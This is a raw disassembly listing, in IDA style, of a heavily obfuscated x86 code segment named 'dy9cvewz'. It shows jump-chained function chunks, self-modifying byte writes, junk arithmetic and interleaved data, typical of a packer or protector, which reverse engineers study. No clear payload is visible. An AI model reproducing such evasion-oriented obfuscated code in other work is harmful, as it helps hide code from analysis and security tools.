; END OF FUNCTION CHUNK	FOR sub_48AD5E
; ---------------------------------------------------------------------------
		align 4
		cdq
		or	edx, 4CE4C12Fh
		sbb	ebp, 0B1F3E68Dh
		jmp	loc_48AEBC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_489F38:				; CODE XREF: sub_48899B:loc_48A77Ej
		mov	byte ptr [eax],	87h
		pop	eax
		mov	ecx, esi
		pop	esi

loc_489F3F:				; DATA XREF: sub_48899B+3522o
		xchg	esi, [esp+0]
		mov	ebp, esi
		pop	esi
		jmp	loc_48C1B3
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		align 4

loc_489F4C:				; DATA XREF: dy9cvewz:loc_48B05Fo
		lea	eax, nullsub_564
		mov	byte ptr [eax],	0C3h
		retn
; ---------------------------------------------------------------------------
		dw 2E9h
		dd 0FFFFE1h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_489F5C:				; CODE XREF: sub_48AD01-17ABj
					; dy9cvewz:loc_48B08Cj
		jmp	loc_48AB87
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFF07Fh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487C3C

loc_489F69:				; CODE XREF: sub_487C3C+Dj
					; sub_48987C+C28j ...
		push	offset byte_48A785
		jmp	nullsub_427
; END OF FUNCTION CHUNK	FOR sub_487C3C
; ---------------------------------------------------------------------------
		align 4
		db  0Fh
		db  84h	; „
		db 0A7h	; §
		db 0E7h	; ç
		db 0FFh
		db 0FFh
		dw 0
		dd 0D981F823h, 0C8854B5Ch, 0FFE795E9h, 8B0000FFh, 0E0815AC2h
		dd 4BC889D0h, 0A936C081h, 0DEE9B508h, 9, 0F17D840Fh, 810FFFFFh
		dd 1BBBh, 5A241487h, 0EB10C081h, 43E95CBEh, 0FFFFF4h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_532. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_489FBE:				; CODE XREF: dy9cvewz:0048B4D2j
		mov	eax, [eax]
		push	offset loc_48C395
		jmp	near ptr loc_489E30+1
; ---------------------------------------------------------------------------
		align 4
		cmp	edx, esi
		jmp	loc_48C25E
; ---------------------------------------------------------------------------
		align 4
		db 0
byte_489FD5	db 2 dup(0E8h),	0EDh	; DATA XREF: dy9cvewz:00488206o
		dd 0FFFFh, 16F0E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_489FE3:				; CODE XREF: dy9cvewz:00487731j
		jmp	near ptr loc_4899A3+1
; ---------------------------------------------------------------------------

loc_489FE8:				; CODE XREF: dy9cvewz:0048B20Bj
		xchg	eax, [esp]
		pop	eax
		mov	byte ptr [edx],	9Dh
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp]
		jmp	loc_48C2F6
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_489FFB:				; CODE XREF: dy9cvewz:loc_48A448j
		retn
; ---------------------------------------------------------------------------
		jmp	locret_48B91B
; ---------------------------------------------------------------------------
		align 2
		and	esi, edi
		xchg	esi, [esp]
		pop	esi
		jmp	loc_489894
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48A012:				; CODE XREF: dy9cvewz:00489004j
		jmp	near ptr dword_4877E0+1
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4889E8

loc_48A019:				; CODE XREF: sub_4889E8+4Bj
		jmp	loc_48BBB0
; END OF FUNCTION CHUNK	FOR sub_4889E8
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_48A01F:				; CODE XREF: dy9cvewz:0048A72Aj
		call	sub_48BA84
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AFE5

loc_48A026:				; CODE XREF: sub_48AFE5+1176j
		jmp	loc_488031
; END OF FUNCTION CHUNK	FOR sub_48AFE5
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_48A02D:				; DATA XREF: sub_48773C+6o
		cmp	al, 0A4h
		jnz	loc_48A03C
		jmp	loc_48A315
; ---------------------------------------------------------------------------
		align 4

loc_48A03C:				; CODE XREF: dy9cvewz:0048A02Fj
		xchg	edx, [esp]
		mov	ecx, edx
		push	offset byte_48BDFD
		jmp	locret_487528
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_48A04D:				; DATA XREF: sub_48C699+6o
		push	ecx
		mov	ecx, offset word_48B262
		jmp	loc_4897DD
; ---------------------------------------------------------------------------
		dd 8C0F0000h, 1AB8h, 1FCFC100h,	1AA7E99Ch, 0C3C10000h
		dd 3AFF8115h, 0E9ADD95Ah, 0FFFFEF92h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B011

loc_48A078:				; CODE XREF: sub_48B011:loc_487E22j
		jge	loc_489E25
; END OF FUNCTION CHUNK	FOR sub_48B011
; ---------------------------------------------------------------------------
		dw 0
		dd 0FFEE3EE9h, 810000FFh, 0AC222ED8h, 0E90287D4h, 0FFFFFD8Fh
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48A095	proc near		; CODE XREF: dy9cvewz:loc_488F1Bp

; FUNCTION CHUNK AT 00487774 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00487A64 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00487FA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048810E SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0048B165 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048C4C0 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		xchg	esi, [esp+0]
		mov	ebx, esi
		pop	esi
		jmp	loc_487FA9
sub_48A095	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_48A0A5:				; CODE XREF: dy9cvewz:0048C4B9j
		mov	byte ptr [ecx],	0FFh
		xchg	ebx, [esp]
		mov	ecx, ebx
		pop	ebx
		add	eax, 0FBA943E6h
		xor	eax, 0B94C0B36h
		jmp	loc_488349
; ---------------------------------------------------------------------------
		align 10h

locret_48A0C0:				; CODE XREF: dy9cvewz:loc_48BE24j
		retn
; ---------------------------------------------------------------------------
		align 2
		jmp	locret_4875A5
; ---------------------------------------------------------------------------
		db 13h
; ---------------------------------------------------------------------------
		fiadd	word ptr [edi-39A0DBC4h]
		add	[ecx+ebp*8-1654h], ebx

loc_48A0D5:				; CODE XREF: dy9cvewz:0048993Bj
		xchg	eax, [esp]
		mov	edx, offset loc_48A168
		jmp	loc_48A176
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489347

loc_48A0E2:				; CODE XREF: sub_489347:loc_48A133j
		call	loc_488A3A
		add	cl, ch
		jle	short loc_48A10A
; END OF FUNCTION CHUNK	FOR sub_489347
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48987C

loc_48A0ED:				; CODE XREF: sub_48987C:loc_488EFEj
		jl	loc_48A495
		add	cl, ch
		fucomi	st, st(6)
; END OF FUNCTION CHUNK	FOR sub_48987C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 9C0000FFh, 0D7F7F52Bh, 133AE9h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_48A107:				; DATA XREF: sub_489C0F+3o
		xchg	edx, [esp]
; START	OF FUNCTION CHUNK FOR sub_489347

loc_48A10A:				; CODE XREF: sub_489347+DA2j
		mov	ebx, edx
		pop	edx
		push	eax
		jmp	loc_4894E6
; END OF FUNCTION CHUNK	FOR sub_489347
; ---------------------------------------------------------------------------
		align 4
		dd 0B2008B00h
		db 0C0h
; ---------------------------------------------------------------------------

loc_48A119:				; CODE XREF: dy9cvewz:004875BCj
		jz	loc_488DD7
		jmp	loc_48883C
; ---------------------------------------------------------------------------
		dd 87C30000h, 8B582404h, 0FCC8E800h ; CODE XREF: dy9cvewz:0048A300p
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489347

loc_48A133:				; CODE XREF: sub_489347+11j
		jmp	loc_48A0E2
; END OF FUNCTION CHUNK	FOR sub_489347
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48A13A:				; CODE XREF: dy9cvewz:00489EE7j
		call	sub_48ADB5

loc_48A13F:				; CODE XREF: dy9cvewz:0048C809j
		jmp	loc_48B404
; ---------------------------------------------------------------------------
		db 0
byte_48A145	db 0C6h, 7, 87h		; DATA XREF: sub_4897A6+8o
		dd 8B240C87h, 3D6859F9h, 5ADDB783h, 13EEEA81h, 0CA816A4Dh
		dd 0E058ACADh, 0FFEDBCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_48A165:				; CODE XREF: dy9cvewz:loc_48BBFDj
		xchg	ecx, [esp]

loc_48A168:				; DATA XREF: dy9cvewz:0048A0D8o
		hlt
; ---------------------------------------------------------------------------
		db 15h,	0C0h, 0B0h
		dd 0E8570045h, 0FFFFE67Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48A176:				; CODE XREF: dy9cvewz:0048A0DDj
		mov	byte ptr [edx],	0FFh
		xchg	eax, [esp]
		mov	edx, eax
		pop	eax
		rol	ecx, 0Ah
		add	ecx, 0E4C5B9B2h
		jmp	loc_48BBFD
; ---------------------------------------------------------------------------

locret_48A18D:				; CODE XREF: dy9cvewz:loc_489694j
		retn
; ---------------------------------------------------------------------------

locret_48A18E:				; CODE XREF: dy9cvewz:0048B553j
		retn
; ---------------------------------------------------------------------------
		align 10h
		jmp	loc_48A2FF
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_48A197:				; CODE XREF: sub_48BB9F:loc_487C2Dj
		pop	eax
		xor	eax, 0B996DECEh
		or	eax, 44A676DAh
		test	eax, 8000h
		jmp	loc_48AE97
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		align 10h
		dd 758B00h, 0FFFE49E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AFE5

loc_48A1B9:				; CODE XREF: sub_48AFE5:loc_48B24Ej
		mov	edx, ecx
		xchg	edx, [esp+0]
		mov	ecx, offset dword_48B998
		jmp	loc_4891C4
; END OF FUNCTION CHUNK	FOR sub_48AFE5
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48A1CA:				; CODE XREF: dy9cvewz:loc_489AF8j
		push	offset dword_48CA04
		jmp	loc_48A448
; ---------------------------------------------------------------------------
dword_48A1D4	dd 37850F49h, 68FFFFDFh, 488C90h, 0FFF5D6E9h, 0DE830FFFh
					; DATA XREF: sub_48BB9F+988o
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48A1EB:				; CODE XREF: dy9cvewz:loc_48C25Ej
		jnp	loc_4883F3

; =============== S U B	R O U T	I N E =======================================



sub_48A1F1	proc near		; CODE XREF: sub_488506+A7Ap
		push	offset byte_489DB1
		jmp	nullsub_555
sub_48A1F1	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0ABE85700h, 26h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4881C3

loc_48A205:				; CODE XREF: sub_4881C3+Fj
		jmp	nullsub_554
; END OF FUNCTION CHUNK	FOR sub_4881C3
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_48A20C:				; CODE XREF: sub_48BB9F-3A87j
		jmp	loc_48A3D5
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_48AE49

loc_48A212:				; CODE XREF: sub_48AE49-3503j
		jmp	loc_48B338
; END OF FUNCTION CHUNK	FOR sub_48AE49
; ---------------------------------------------------------------------------
		align 4
		dd 1CC6C100h, 0FFD751E9h, 0C58B9DFFh, 0A9E9h, 6C60000h
		dd 242C8709h, 0EEE8F58Bh, 0FFFFDDh
; ---------------------------------------------------------------------------

loc_48A238:				; CODE XREF: dy9cvewz:00488EB6j
		jmp	loc_48B069
; ---------------------------------------------------------------------------

locret_48A23D:				; CODE XREF: dy9cvewz:0048B588j
		retn
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 0FFFFEA2Ah, 8D0F0000h, 0FFFFD67Dh
		db 0
; ---------------------------------------------------------------------------

loc_48A24D:				; CODE XREF: dy9cvewz:0048ACB7j
		jmp	locret_487C20
; ---------------------------------------------------------------------------
		align 4
		dd 0FE2C156h, 0D666E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48A25E:				; DATA XREF: sub_48930F+1242o
		push	5E269CF7h
		pop	esi
		add	esi, 0FA5DDB6Ch
		push	offset dword_48C860
		jmp	locret_48C857
; ---------------------------------------------------------------------------
		dd 0E900C300h, 0FFFFE26Ah, 15FF0000h, 45B0C0h, 48BD0068h
		dd 1538E900h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488FD4

loc_48A290:				; CODE XREF: sub_488FD4-D9Aj
		mov	byte ptr [eax],	87h
		pop	eax
		push	eax
		mov	eax, ecx
		add	eax, [esp+8+var_8]
		jmp	loc_487C28
; END OF FUNCTION CHUNK	FOR sub_488FD4
; ---------------------------------------------------------------------------
		db 0C1h
		dd 47E915E5h, 0FFFFE5h,	0AC006800h, 6BE90048h, 3
; ---------------------------------------------------------------------------

locret_48A2B4:				; CODE XREF: dy9cvewz:loc_489EC6j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48A393

loc_48A2B5:				; CODE XREF: sub_48A393+Ej
		jmp	nullsub_428
; END OF FUNCTION CHUNK	FOR sub_48A393
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 0FFFFD0DAh, 0C2810000h, 14DB459Ch, 2702E8h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AE49

loc_48A2CD:				; CODE XREF: sub_48AE49-53Fj
		jmp	loc_487ECF
; END OF FUNCTION CHUNK	FOR sub_48AE49
; ---------------------------------------------------------------------------
		dw 487h
		dd 0C3815824h, 0EAE8DEh, 0FFD572E8h, 0AAE900FFh, 1Bh
; ---------------------------------------------------------------------------

loc_48A2E8:				; CODE XREF: dy9cvewz:004891BDj
		jmp	loc_487801
; ---------------------------------------------------------------------------
		db 68h,	0F7h, 1Eh
		dd 0E842E0h, 0FFFFDBh, 114BE9h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_48A2FF:				; CODE XREF: dy9cvewz:0048A190j
		pop	edi
		call	near ptr dword_48A124+3
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 2170h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_561. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		or	edi, 3CAE273Fh

loc_48A315:				; CODE XREF: dy9cvewz:0048A035j
		call	sub_48CAB3
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 9CD6F700h, 14BEE9h, 37E99C00h, 1Eh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_554. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_48A32F:				; CODE XREF: sub_48B3BA+CE1j
		jmp	loc_48C43D
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		jmp	locret_488EBB
; ---------------------------------------------------------------------------
		align 2

loc_48A33A:				; CODE XREF: dy9cvewz:004891F4j
		xchg	ecx, [esi]
		xchg	eax, [esp]
		pop	eax
		push	edx
		mov	edx, esi
		jmp	near ptr byte_487FA1+2
; ---------------------------------------------------------------------------
		dd 0C2810000h, 798F7977h, 5A241487h, 87F88B57h,	0B168243Ch
		dd 87673DADh, 0D9E92434h, 0Dh
; ---------------------------------------------------------------------------

loc_48A368:				; CODE XREF: dy9cvewz:00488097j
		mov	byte ptr [ecx],	9Ch
		pop	ecx
		push	offset dword_48B764
		jmp	locret_48A910
; ---------------------------------------------------------------------------
		align 4

locret_48A378:				; CODE XREF: dy9cvewz:0048C6FBj
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 5, 0DAh
		dd 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BA3A

loc_48A380:				; CODE XREF: sub_48BA3A:loc_488CC5j
		push	edi
		push	offset loc_489A7A
		jmp	loc_489175
; END OF FUNCTION CHUNK	FOR sub_48BA3A
; ---------------------------------------------------------------------------
		align 4
		dd 9A870F00h
		db 0EEh, 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_48A393	proc near		; CODE XREF: sub_48AE49-2F71p

; FUNCTION CHUNK AT 0048A2B5 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	ecx, edi
		pop	edi
		mov	[ecx], eax
		push	offset loc_48C000
		jmp	loc_48A2B5
sub_48A393	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

loc_48A3A8:				; CODE XREF: dy9cvewz:0048A8E3j
		jmp	loc_48AB00
; ---------------------------------------------------------------------------

loc_48A3AD:				; CODE XREF: dy9cvewz:0048A658j
		jmp	loc_48955D
; ---------------------------------------------------------------------------
		align 4
		jmp	nullsub_528
; ---------------------------------------------------------------------------
		align 2
		xchg	edi, [esp]
		push	ecx
		mov	ecx, eax
		jmp	loc_48A8C6
; ---------------------------------------------------------------------------
		align 2
		dw 1487h
		dd 830F5A24h, 0FFFFE5EEh, 0FFE762E8h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_48A3D5:				; CODE XREF: sub_48BB9F:loc_48A20Cj
		jnz	loc_48C8FF
		lodsb
		call	sub_488AE9
		add	[edi+141E9CBh],	al
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		db 0
		dd 0F000000h, 1FB187h, 0E8EF1B00h, 0FFFFDB5Bh, 14870000h
		dd 36E95A24h, 11h
		db 0
; ---------------------------------------------------------------------------

loc_48A405:				; CODE XREF: dy9cvewz:0048900Aj
		xchg	edi, [esp]
		mov	ecx, edi
		pop	edi
		jmp	loc_48BBEB
; ---------------------------------------------------------------------------
		dd 880F0000h, 53h, 0FFF5FEE9h, 8B5056FFh, 2072E8C1h, 0
		dd 0FFE23CE9h, 0E90000FFh, 0FFFFD67Dh, 0C307C600h, 0C35D5A5Fh
		dd 0E032E900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48A8EA

loc_48A443:				; CODE XREF: sub_48A8EA+Ej
		jmp	loc_48B8FE
; END OF FUNCTION CHUNK	FOR sub_48A8EA
; ---------------------------------------------------------------------------

loc_48A448:				; CODE XREF: dy9cvewz:0048A1CFj
		jmp	locret_489FFB
; ---------------------------------------------------------------------------
		align 2
byte_48A44E	db 0Fh			; DATA XREF: dy9cvewz:00487DB8w
		db 89h
		dd 0FFFFE621h, 0FFE07AE9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4898B7

loc_48A459:				; CODE XREF: sub_4898B7+2Ej
		jns	loc_48B341
		sub	ebx, 0AE5FC4F2h
		jmp	sub_4881E5
; END OF FUNCTION CHUNK	FOR sub_4898B7
; ---------------------------------------------------------------------------
		dw 8100h
		dd 616CCFE1h, 0B3C18139h, 68DEBFFBh, 48BE2Fh, 375E9h, 9D000000h
		dd 1DC5E9h, 2FBF0000h, 0E90048B7h, 0FFFFD1D5h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48987C

loc_48A495:				; CODE XREF: sub_48987C:loc_48A0EDj
		or	edx, 6237ACA0h
		add	edx, 9A10F6EBh
		xchg	edx, [esp-4+arg_0]
		jmp	loc_489F69
; END OF FUNCTION CHUNK	FOR sub_48987C
; ---------------------------------------------------------------------------
		lea	eax, nullsub_531

loc_48A4AF:				; CODE XREF: dy9cvewz:loc_4894EBj
		mov	byte ptr [eax],	0C3h
		jmp	near ptr dword_487EF8+30h
; ---------------------------------------------------------------------------

loc_48A4B7:				; CODE XREF: dy9cvewz:00488A1Ap
		xchg	esi, [esp]
		pop	esi
		lea	eax, word_48742E
		call	loc_48C38E
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487CB5

loc_48A4C7:				; CODE XREF: sub_487CB5+Cj
		jnz	loc_48BDBF
		jmp	loc_48C701
; END OF FUNCTION CHUNK	FOR sub_487CB5
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BA84

loc_48A4D3:				; CODE XREF: sub_48BA84:loc_48C85Aj
		add	ecx, 51CE722Eh
		xor	ecx, 31721DD4h
		cmp	esi, ecx
		call	sub_48BA3A
; END OF FUNCTION CHUNK	FOR sub_48BA84
; ---------------------------------------------------------------------------
		dw 0
		dd 1425810Fh, 35F0000h,	0E40AE9E9h, 0FFFFh
dword_48A4F8	dd 0FC70689Ch, 2C87CA85h, 5DCD8B24h, 0B461C181h, 0C1C1B004h
					; DATA XREF: dy9cvewz:004884A1o
		dd 0FBD6E90Dh, 0E9C3FFFFh, 0FFFFF2D2h
dword_48A518	dd 87C88B51h, 6851240Ch, 0E748C0F0h, 0FFD3E2E9h, 3C8700FFh
					; DATA XREF: dy9cvewz:00488192o
		dd 241C8724h, 875BFB8Bh, 2BE9240Ch, 0FFFFE8h, 5DE9D985h
		dd 0FFFFFAh, 5C8C100h, 0BB3E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48930F

loc_48A54E:				; CODE XREF: sub_48930F:loc_48BB5Bj
		xchg	ebx, [esp+0]
		push	offset loc_48A25E
		jmp	nullsub_527
; END OF FUNCTION CHUNK	FOR sub_48930F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_424. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		xor	esi, 40587D4Fh
		jmp	sub_4881C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B1FA

loc_48A567:				; CODE XREF: sub_48B1FA:loc_48B4B7j
		mov	byte ptr [edi],	87h
		pop	edi
		add	eax, 0F20A2023h

loc_48A571:				; DATA XREF: sub_48B1FA+5o
		xchg	eax, [esp-4+arg_0]
		jmp	loc_48AD48
; END OF FUNCTION CHUNK	FOR sub_48B1FA
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 50h
		dd 0FFFFDEh
byte_48A580	db 87h			; DATA XREF: dy9cvewz:00487DDBw
		db 4, 24h, 58h
		dd 0DE7A850Fh, 830FFFFFh, 0FFFFE42Eh, 2132E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488506

loc_48A596:				; CODE XREF: sub_488506:loc_48B9A9j
		jge	loc_488F7A
; END OF FUNCTION CHUNK	FOR sub_488506
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_48A59D:				; CODE XREF: sub_48AD28+5j
		jmp	loc_48A877
; ---------------------------------------------------------------------------
		align 4
		dd 37B3DA81h, 0D2F7FB24h, 72AFB81h, 0BAE99A4Ah,	0FFFFE9h
; ---------------------------------------------------------------------------

loc_48A5B8:				; CODE XREF: dy9cvewz:0048B3F2j
		sub	edx, ecx

loc_48A5BA:				; CODE XREF: dy9cvewz:loc_48BB45j
		call	sub_45B134
		jmp	loc_48B4B0
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4899DF

loc_48A5C5:				; CODE XREF: sub_4899DF+5j
					; sub_48B3BA+572j
		mov	edx, [eax]
		call	sub_487CB5
		add	cl, al
		retn
; END OF FUNCTION CHUNK	FOR sub_4899DF
; ---------------------------------------------------------------------------
		db 0Ah
; ---------------------------------------------------------------------------
		xor	ebx, 0F417288Eh
		jnz	loc_48C886

loc_48A5DC:				; CODE XREF: dy9cvewz:0048CAEDj
		jmp	locret_48B1EC
; ---------------------------------------------------------------------------
		align 2
		shr	esi, 1Fh
		jmp	loc_48C87E
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_48A5EB:				; CODE XREF: dy9cvewz:0048755Aj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_48C7F7
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_48A5F3	proc near		; CODE XREF: dy9cvewz:00487DEAj
		xchg	ecx, [esp+0]
		pop	ecx
		xor	edi, 47AAB1EDh
		add	edi, ebp
		add	edi, 0EC07D69Fh
		mov	edi, [edi]

loc_48A607:				; DATA XREF: dy9cvewz:00489CBDo
		jmp	near ptr 7331CA48h
sub_48A5F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 10h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48A611	proc near		; CODE XREF: sub_488FD4j

; FUNCTION CHUNK AT 0048B52A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048C419 SIZE 0000000A BYTES

		push	ebp
		jmp	loc_48B52A
sub_48A611	endp

; ---------------------------------------------------------------------------
		db 0E8h
		dd 0FFFFFAADh, 0DBE90000h, 5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48ACED

loc_48A624:				; CODE XREF: sub_48ACED-360Bj
		jmp	sub_488FD4
; END OF FUNCTION CHUNK	FOR sub_48ACED
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		cmp	al, 24h
		pop	edi
		mov	byte ptr [ebx],	8Bh
		pop	ebx
		add	eax, ebx
		jmp	loc_48B5B2
; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		mov	al, [eax]
		sub	al, 99h
		push	offset loc_48B26E
		jmp	locret_48AB38
; ---------------------------------------------------------------------------
		align 4
		xchg	edx, [esp]
		pop	edx

loc_48A650:				; CODE XREF: dy9cvewz:00488FC8j
		call	ds:dword_45B0C0	; ExitProcess
		push	0FFFFFFFFh
		jmp	loc_48A3AD
; ---------------------------------------------------------------------------
		pushf

loc_48A65E:				; CODE XREF: dy9cvewz:0048C758j
		jmp	near ptr loc_4895C3+1
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_442. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		shl	ebx, 10h
		add	ebx, 397FAAAEh
		jmp	sub_48C58E
; ---------------------------------------------------------------------------
		db 81h
		dd 0AD0DD0DAh, 241C87E1h, 8B240487h, 2C658D8h, 3BE95A0Fh
		dd 0FFFFF1h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BDD1

loc_48A68D:				; CODE XREF: sub_48BDD1+12j
		call	sub_48C24E
		not	ecx
		jmp	sub_48B1FA
; END OF FUNCTION CHUNK	FOR sub_48BDD1
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0B3h
		dd 0FFFFE7h, 0DDB5850Fh, 8B64FFFFh, 3005h, 39685300h, 0E90048B7h
		dd 107Eh, 428C0F00h, 87FFFFEFh,	515A2414h, 0C87C88Bh, 8D706824h
		dd 0E9E90048h, 8, 213F830Fh, 45890000h,	1B9AE900h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_48A6E2	proc near		; CODE XREF: sub_48899B:loc_488F41p
		xchg	eax, [esp+0]
		xchg	edx, [esp+0]
		mov	eax, edx
		pop	edx
		jmp	loc_488970
sub_48A6E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_48A6F1:				; CODE XREF: sub_48899B:loc_487622j
		mov	esp, ebp
		pop	ebp
		jmp	nullsub_543
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		align 2
		jnb	loc_48BC8A

; =============== S U B	R O U T	I N E =======================================



sub_48A700	proc near		; CODE XREF: sub_48C012-1655p

; FUNCTION CHUNK AT 00488700 SIZE 00000008 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 0CD6D0369h
		add	eax, 3292FCC7h

loc_48A710:				; CODE XREF: dy9cvewz:00488C52j
		jmp	loc_488700
sub_48A700	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_48A715:				; CODE XREF: dy9cvewz:0048B93Dj
		xchg	ecx, [eax]
		xchg	esi, [esp]
		pop	esi
		xchg	ebx, [esp]
		push	edx
		mov	edx, edi
		jmp	loc_48AB59
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_48A727:				; CODE XREF: dy9cvewz:0048BC6Aj
		xchg	esi, [esp]
		jmp	loc_48A01F
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0FFFFFC1Ch
		db 2 dup(0)
